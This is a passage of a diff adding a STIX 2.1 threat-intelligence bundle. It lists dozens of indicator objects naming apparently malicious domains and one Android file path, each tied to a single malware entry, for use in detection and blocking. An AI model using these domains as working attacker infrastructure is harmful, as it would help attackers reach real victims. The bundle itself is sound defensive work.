"indicator--2c4f9eb6-9484-4ae0-8bf4-279a7b219c67", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6f2be982-e7dd-4731-bb73-152b51c8b004", + "created": "2023-03-29T12:58:45.137463Z", + "modified": "2023-03-29T12:58:45.137463Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='airsoluzioni.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.137463Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f1870cb2-426f-4501-a124-a1f1c2ff99dc", + "created": "2023-03-29T12:58:45.13806Z", + "modified": "2023-03-29T12:58:45.13806Z", + "relationship_type": "indicates", + "source_ref": "indicator--6f2be982-e7dd-4731-bb73-152b51c8b004", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--13abb541-8f52-48a3-acc0-2bc7b702cd8e", + "created": "2023-03-29T12:58:45.138231Z", + "modified": "2023-03-29T12:58:45.138231Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dosetwiddle.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.138231Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--261dddbe-556e-4998-91a6-ca49e708641f", + "created": "2023-03-29T12:58:45.138932Z", + "modified": "2023-03-29T12:58:45.138932Z", + "relationship_type": "indicates", + "source_ref": "indicator--13abb541-8f52-48a3-acc0-2bc7b702cd8e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--98a82405-662c-4df5-ba42-faeb11ddcc26", + "created": "2023-03-29T12:58:45.139104Z", + "modified": "2023-03-29T12:58:45.139104Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fanciedpartner.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.139104Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0763e697-8763-4563-82d0-6cc23c273a62", + "created": "2023-03-29T12:58:45.139698Z", + "modified": "2023-03-29T12:58:45.139698Z", + "relationship_type": "indicates", + "source_ref": "indicator--98a82405-662c-4df5-ba42-faeb11ddcc26", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ba4d4774-1ec2-4b75-91dc-b8c0bebcb7d4", + "created": "2023-03-29T12:58:45.139867Z", + "modified": "2023-03-29T12:58:45.139867Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='skinlessarrogance.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.139867Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1c4c489c-9fe5-43e5-a01f-18f9edcf95ae", + "created": "2023-03-29T12:58:45.140461Z", + "modified": "2023-03-29T12:58:45.140461Z", + "relationship_type": "indicates", + "source_ref": "indicator--ba4d4774-1ec2-4b75-91dc-b8c0bebcb7d4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f6c47638-c90a-4c85-b173-28afc830f3d4", + "created": "2023-03-29T12:58:45.140627Z", + "modified": "2023-03-29T12:58:45.140627Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='goslingemployed.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.140627Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--db67279d-69d9-4661-b15c-716d69bd6b66", + "created": "2023-03-29T12:58:45.14122Z", + "modified": "2023-03-29T12:58:45.14122Z", + "relationship_type": "indicates", + "source_ref": "indicator--f6c47638-c90a-4c85-b173-28afc830f3d4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--feebf13d-4306-4092-8460-b23d6f963e0b", + "created": "2023-03-29T12:58:45.141434Z", + "modified": "2023-03-29T12:58:45.141434Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ravishingpentagon.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.141434Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1c23dc7e-3162-4ccb-9d16-0c415ef48418", + "created": "2023-03-29T12:58:45.142095Z", + "modified": "2023-03-29T12:58:45.142095Z", + "relationship_type": "indicates", + "source_ref": "indicator--feebf13d-4306-4092-8460-b23d6f963e0b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f934810c-4533-4b5c-b0c9-158ffe47904a", + "created": "2023-03-29T12:58:45.142266Z", + "modified": "2023-03-29T12:58:45.142266Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='uncaringglowworm.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.142266Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--41a683df-9e59-4ba5-a508-933be980b5f4", + "created": "2023-03-29T12:58:45.142861Z", + "modified": "2023-03-29T12:58:45.142861Z", + "relationship_type": "indicates", + "source_ref": "indicator--f934810c-4533-4b5c-b0c9-158ffe47904a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3d85e4b6-facc-454d-9696-0c793840a0aa", + "created": "2023-03-29T12:58:45.143028Z", + "modified": "2023-03-29T12:58:45.143028Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='silvercube.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.143028Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--154407f5-34ca-41c8-8c8d-3acad92f5f45", + "created": "2023-03-29T12:58:45.143615Z", + "modified": "2023-03-29T12:58:45.143615Z", + "relationship_type": "indicates", + "source_ref": "indicator--3d85e4b6-facc-454d-9696-0c793840a0aa", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e3382366-5065-4fb3-9c8b-4cf0a91407f4", + "created": "2023-03-29T12:58:45.143783Z", + "modified": "2023-03-29T12:58:45.143783Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='expressfood.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.143783Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--89ddeb43-c4e9-4b44-9a2e-97919003ca2a", + "created": "2023-03-29T12:58:45.144373Z", + "modified": "2023-03-29T12:58:45.144373Z", + "relationship_type": "indicates", + "source_ref": "indicator--e3382366-5065-4fb3-9c8b-4cf0a91407f4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d40b69b0-1618-40e8-98a3-c178e8c377ad", + "created": "2023-03-29T12:58:45.144542Z", + "modified": "2023-03-29T12:58:45.144542Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='whatneed.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.144542Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--81563c49-7646-4fe9-bbea-d8bc46c3126f", + "created": "2023-03-29T12:58:45.145131Z", + "modified": "2023-03-29T12:58:45.145131Z", + "relationship_type": "indicates", + "source_ref": "indicator--d40b69b0-1618-40e8-98a3-c178e8c377ad", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--649ada6e-4634-422a-adbc-74b0babc53a1", + "created": "2023-03-29T12:58:45.145299Z", + "modified": "2023-03-29T12:58:45.145299Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='snowsuitmobile.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.145299Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3364f074-df18-4c77-9f8b-0f68f832436e", + "created": "2023-03-29T12:58:45.146287Z", + "modified": "2023-03-29T12:58:45.146287Z", + "relationship_type": "indicates", + "source_ref": "indicator--649ada6e-4634-422a-adbc-74b0babc53a1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--352dc6eb-9f7a-496a-92b3-9840acc47af2", + "created": "2023-03-29T12:58:45.146463Z", + "modified": "2023-03-29T12:58:45.146463Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tastinessonset.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.146463Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4cc9bb19-d279-4ab2-a0da-bbf905812ac2", + "created": "2023-03-29T12:58:45.147059Z", + "modified": "2023-03-29T12:58:45.147059Z", + "relationship_type": "indicates", + "source_ref": "indicator--352dc6eb-9f7a-496a-92b3-9840acc47af2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0c8036e9-5322-45c9-9a9d-9ecf3ac19e5f", + "created": "2023-03-29T12:58:45.147228Z", + "modified": "2023-03-29T12:58:45.147228Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='steeddisparity.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.147228Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--447aae11-4a48-4797-90bb-41c077b29463", + "created": "2023-03-29T12:58:45.147818Z", + "modified": "2023-03-29T12:58:45.147818Z", + "relationship_type": "indicates", + "source_ref": "indicator--0c8036e9-5322-45c9-9a9d-9ecf3ac19e5f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5431ae55-9ce5-4a3d-b2cf-21ffc911ec13", + "created": "2023-03-29T12:58:45.147985Z", + "modified": "2023-03-29T12:58:45.147985Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bearingglitter.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.147985Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--908eb6f2-4cf1-4e0d-b20d-856edea355de", + "created": "2023-03-29T12:58:45.148575Z", + "modified": "2023-03-29T12:58:45.148575Z", + "relationship_type": "indicates", + "source_ref": "indicator--5431ae55-9ce5-4a3d-b2cf-21ffc911ec13", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9e158d75-4f52-4799-952d-643eabf48d33", + "created": "2023-03-29T12:58:45.148746Z", + "modified": "2023-03-29T12:58:45.148746Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stoneworkeligibly.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.148746Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f90bdd7f-9320-4562-b2b8-287e3cf4a2cc", + "created": "2023-03-29T12:58:45.149343Z", + "modified": "2023-03-29T12:58:45.149343Z", + "relationship_type": "indicates", + "source_ref": "indicator--9e158d75-4f52-4799-952d-643eabf48d33", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--af9af66c-69f2-43eb-a887-d1dde3f0aa18", + "created": "2023-03-29T12:58:45.149514Z", + "modified": "2023-03-29T12:58:45.149514Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='squashcustody.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.149514Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5165aee5-2da9-4efd-a95b-41c5fdcfff56", + "created": "2023-03-29T12:58:45.150111Z", + "modified": "2023-03-29T12:58:45.150111Z", + "relationship_type": "indicates", + "source_ref": "indicator--af9af66c-69f2-43eb-a887-d1dde3f0aa18", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6de53f2e-2ca1-4350-bd5a-d0a81c743db1", + "created": "2023-03-29T12:58:45.15028Z", + "modified": "2023-03-29T12:58:45.15028Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='slicingmauve.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.15028Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2d304d47-d32d-489e-a432-86a80f08c920", + "created": "2023-03-29T12:58:45.150869Z", + "modified": "2023-03-29T12:58:45.150869Z", + "relationship_type": "indicates", + "source_ref": "indicator--6de53f2e-2ca1-4350-bd5a-d0a81c743db1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fdeec059-393b-4e0d-888a-fbfbfb52e556", + "created": "2023-03-29T12:58:45.151036Z", + "modified": "2023-03-29T12:58:45.151036Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='orangelines.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.151036Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--60067ad9-f8e5-485e-b33e-dad54d620329", + "created": "2023-03-29T12:58:45.151624Z", + "modified": "2023-03-29T12:58:45.151624Z", + "relationship_type": "indicates", + "source_ref": "indicator--fdeec059-393b-4e0d-888a-fbfbfb52e556", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8d7fdefc-be8a-4025-aa8b-66262704850d", + "created": "2023-03-29T12:58:45.151793Z", + "modified": "2023-03-29T12:58:45.151793Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='amazingpotluck.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.151793Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2996ec08-35e9-4345-9721-e8a1d8eafad9", + "created": "2023-03-29T12:58:45.152387Z", + "modified": "2023-03-29T12:58:45.152387Z", + "relationship_type": "indicates", + "source_ref": "indicator--8d7fdefc-be8a-4025-aa8b-66262704850d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--97f0f3ab-bc9b-4768-a8dd-9b19e17d9db0", + "created": "2023-03-29T12:58:45.152554Z", + "modified": "2023-03-29T12:58:45.152554Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tropicalzz.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.152554Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fb248316-3413-4b77-8e1a-3866d243d6a3", + "created": "2023-03-29T12:58:45.153137Z", + "modified": "2023-03-29T12:58:45.153137Z", + "relationship_type": "indicates", + "source_ref": "indicator--97f0f3ab-bc9b-4768-a8dd-9b19e17d9db0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b58773b9-5c78-4867-ab8a-5fce299b8c83", + "created": "2023-03-29T12:58:45.153307Z", + "modified": "2023-03-29T12:58:45.153307Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='playingpyramid.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.153307Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--caab39c9-dd5a-4351-b99f-b5a4b11b92e6", + "created": "2023-03-29T12:58:45.154023Z", + "modified": "2023-03-29T12:58:45.154023Z", + "relationship_type": "indicates", + "source_ref": "indicator--b58773b9-5c78-4867-ab8a-5fce299b8c83", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6631422c-9ed3-4b9b-825f-4117fbec9cf6", + "created": "2023-03-29T12:58:45.154194Z", + "modified": "2023-03-29T12:58:45.154194Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='meltfour.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.154194Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--79666dd9-146a-4be8-a00b-561312b3fdb3", + "created": "2023-03-29T12:58:45.154818Z", + "modified": "2023-03-29T12:58:45.154818Z", + "relationship_type": "indicates", + "source_ref": "indicator--6631422c-9ed3-4b9b-825f-4117fbec9cf6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8441b7e4-85ef-4650-b2f2-35aa9b75ded2", + "created": "2023-03-29T12:58:45.15499Z", + "modified": "2023-03-29T12:58:45.15499Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kidoworld.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.15499Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ddf612c8-7279-4974-9c07-bd87225c3988", + "created": "2023-03-29T12:58:45.155574Z", + "modified": "2023-03-29T12:58:45.155574Z", + "relationship_type": "indicates", + "source_ref": "indicator--8441b7e4-85ef-4650-b2f2-35aa9b75ded2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--40e2954c-269d-4658-afad-26d59e9aec56", + "created": "2023-03-29T12:58:45.155744Z", + "modified": "2023-03-29T12:58:45.155744Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='firsttrack.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.155744Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--aa0a5f4d-f72a-4265-a342-88f15b986a2d", + "created": "2023-03-29T12:58:45.15633Z", + "modified": "2023-03-29T12:58:45.15633Z", + "relationship_type": "indicates", + "source_ref": "indicator--40e2954c-269d-4658-afad-26d59e9aec56", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e47eaafd-5fc0-4cd1-97af-f2747ab1174c", + "created": "2023-03-29T12:58:45.156499Z", + "modified": "2023-03-29T12:58:45.156499Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rubbingguiding.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.156499Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--75fe7463-d608-4e61-8dbf-4cadf3e89c28", + "created": "2023-03-29T12:58:45.157089Z", + "modified": "2023-03-29T12:58:45.157089Z", + "relationship_type": "indicates", + "source_ref": "indicator--e47eaafd-5fc0-4cd1-97af-f2747ab1174c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b289c017-8e04-4340-8ecc-cece38279f90", + "created": "2023-03-29T12:58:45.157257Z", + "modified": "2023-03-29T12:58:45.157257Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='underlinglair.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.157257Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0afa72cc-2b6f-4c0c-b460-002cb3adf692", + "created": "2023-03-29T12:58:45.157857Z", + "modified": "2023-03-29T12:58:45.157857Z", + "relationship_type": "indicates", + "source_ref": "indicator--b289c017-8e04-4340-8ecc-cece38279f90", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aee1a959-64a7-41b2-9aaf-143feb930965", + "created": "2023-03-29T12:58:45.158026Z", + "modified": "2023-03-29T12:58:45.158026Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='humblysnap.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.158026Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--49bd8961-0c98-4f2b-81e0-3601f0f0e2b9", + "created": "2023-03-29T12:58:45.158611Z", + "modified": "2023-03-29T12:58:45.158611Z", + "relationship_type": "indicates", + "source_ref": "indicator--aee1a959-64a7-41b2-9aaf-143feb930965", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--66043d99-0114-4b1d-aea7-e3d9510a7a19", + "created": "2023-03-29T12:58:45.158779Z", + "modified": "2023-03-29T12:58:45.158779Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='saddledprogram.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.158779Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c54c1482-06da-44f5-9025-11a94e7281d4", + "created": "2023-03-29T12:58:45.159386Z", + "modified": "2023-03-29T12:58:45.159386Z", + "relationship_type": "indicates", + "source_ref": "indicator--66043d99-0114-4b1d-aea7-e3d9510a7a19", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1e231d4e-0de9-46b1-a75d-4b3fba6e89e9", + "created": "2023-03-29T12:58:45.15956Z", + "modified": "2023-03-29T12:58:45.15956Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='diabolicsizably.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.15956Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1edcd87c-e4df-444b-9b7c-d58e53eb9974", + "created": "2023-03-29T12:58:45.160159Z", + "modified": "2023-03-29T12:58:45.160159Z", + "relationship_type": "indicates", + "source_ref": "indicator--1e231d4e-0de9-46b1-a75d-4b3fba6e89e9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--085a92e4-720a-4114-921f-48bb6ab6890e", + "created": "2023-03-29T12:58:45.160326Z", + "modified": "2023-03-29T12:58:45.160326Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='viselikeheadstand.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.160326Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1cbf5ae6-75a9-4235-8706-c49aa2760f61", + "created": "2023-03-29T12:58:45.161193Z", + "modified": "2023-03-29T12:58:45.161193Z", + "relationship_type": "indicates", + "source_ref": "indicator--085a92e4-720a-4114-921f-48bb6ab6890e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cad1c45e-1a0a-46e9-ad00-547d41231bad", + "created": "2023-03-29T12:58:45.161374Z", + "modified": "2023-03-29T12:58:45.161374Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='medeka.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.161374Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8f427b30-7cc5-447b-ba5f-eddaa463ce5a", + "created": "2023-03-29T12:58:45.161969Z", + "modified": "2023-03-29T12:58:45.161969Z", + "relationship_type": "indicates", + "source_ref": "indicator--cad1c45e-1a0a-46e9-ad00-547d41231bad", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bac89179-eb1f-4a61-bc4b-413f462be753", + "created": "2023-03-29T12:58:45.16214Z", + "modified": "2023-03-29T12:58:45.16214Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='frozencasting.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.16214Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4d112937-249d-425a-a33c-9db9c2af5189", + "created": "2023-03-29T12:58:45.162731Z", + "modified": "2023-03-29T12:58:45.162731Z", + "relationship_type": "indicates", + "source_ref": "indicator--bac89179-eb1f-4a61-bc4b-413f462be753", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--45c63ee8-fbdb-4a0f-a6c8-a17c7801723b", + "created": "2023-03-29T12:58:45.1629Z", + "modified": "2023-03-29T12:58:45.1629Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='elveslibrarian.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.1629Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0ee4911c-bbeb-4993-9061-e276cf651a08", + "created": "2023-03-29T12:58:45.163518Z", + "modified": "2023-03-29T12:58:45.163518Z", + "relationship_type": "indicates", + "source_ref": "indicator--45c63ee8-fbdb-4a0f-a6c8-a17c7801723b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e12c8501-27ea-49d8-aa56-67e07ea6028c", + "created": "2023-03-29T12:58:45.16369Z", + "modified": "2023-03-29T12:58:45.16369Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tuliptravels.in']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.16369Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f23c473f-1d13-4aec-a051-047ec4ce97f9", + "created": "2023-03-29T12:58:45.164282Z", + "modified": "2023-03-29T12:58:45.164282Z", + "relationship_type": "indicates", + "source_ref": "indicator--e12c8501-27ea-49d8-aa56-67e07ea6028c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--931d8156-5e5a-4672-9412-278200845af2", + "created": "2023-03-29T12:58:45.164451Z", + "modified": "2023-03-29T12:58:45.164451Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='takesonmind.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.164451Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7fc57453-cbf4-4df8-ae08-09e9cf0d1e33", + "created": "2023-03-29T12:58:45.165039Z", + "modified": "2023-03-29T12:58:45.165039Z", + "relationship_type": "indicates", + "source_ref": "indicator--931d8156-5e5a-4672-9412-278200845af2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b985f0f1-b549-4a79-ba12-d07680e98df4", + "created": "2023-03-29T12:58:45.165206Z", + "modified": "2023-03-29T12:58:45.165206Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='graffitiflashbulb.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.165206Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1183f70b-6a01-4fec-8af4-1d64f3c22b00", + "created": "2023-03-29T12:58:45.165813Z", + "modified": "2023-03-29T12:58:45.165813Z", + "relationship_type": "indicates", + "source_ref": "indicator--b985f0f1-b549-4a79-ba12-d07680e98df4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a1b18665-12e3-4d97-bf76-cbb3da77e5e5", + "created": "2023-03-29T12:58:45.165985Z", + "modified": "2023-03-29T12:58:45.165985Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:path='/data/local/tmp/dropbox']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.165985Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7382f335-40d6-42b8-b694-701b5011c8e0", + "created": "2023-03-29T12:58:45.167253Z", + "modified": 